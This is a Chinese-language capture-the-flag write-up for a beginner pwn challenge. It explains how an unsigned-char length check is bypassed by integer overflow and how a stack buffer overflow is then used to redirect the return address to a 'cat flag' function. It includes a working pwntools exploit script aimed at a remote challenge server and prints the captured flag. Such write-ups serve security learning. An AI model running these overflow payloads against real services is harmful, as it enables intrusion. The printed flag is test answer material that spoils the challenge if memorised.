下载文件,首先先看文件信息;
使用ida32 查看文件;
跟进login函数
密码长度那么长?继续跟进check_passwd函数;
#include<stdio.h>
int main(){
unsigned char x=2;
unsigned char y=258;
if(x==y){
printf("success!");
}
return 0;
}
#这里的输出结果为:success!
无符号整形数据的范围是0~255
所以,准确来说,{256->0,257->1,258->2,259->3,260->4,261->5,262->6...264->8}
从汇编可以看到,想要覆盖到retn地址,需要先使用0x14 个数据覆盖stack拷贝的passed的内存区域,然后使用4字节数据覆盖ebp,再使用"cat flag"的地址覆盖返回地址,最后接上263剩余的数据即可。
利用整数溢出漏洞可以绕过字符串长度输入检测,但这不是最终目的,绕过长度检测后有个dest字符串,0x14字节大小。
所以payload=‘a’*(0x14+4)+p32(cat_flag)
因为还执行了leave操作,所以还要多减去4个;
payload +=‘a’*(262-len(payload)-4)就可以完成利用了;235 = (263-0x14-4-4)
from pwn import *
op = remote("61.147.171.105",54219)
cat_flag = 0x8048694#之前做题的时候 进到函数的大概位置就行了,不知道为什么现在要求需要很精准;有大佬给解释一下吗?
payload = b'a'*0x18+p32(cat_flag)+b'a'*235#235 = (263-0x14-4-4)准确来说,{256:0,257:1,258:2,259:3,260:4,261:5,262:6...264:8}
op.sendlineafter("Your choice:","1")
op.sendlineafter("Please input your username:",'admin')
op.sendlineafter("Please input your passwd:",payload)
op.interactive()
# print(op.recvall())
cyberpeace{b672f93937acac2231e558fd5bea27f2}
还是个小萌新写的不是很好;理解了,但没有完全理解;
参考了有毒大佬的文章写的非常详细